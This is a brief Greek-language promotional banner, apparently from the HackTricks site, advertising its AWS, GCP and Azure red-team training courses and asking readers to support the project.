Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks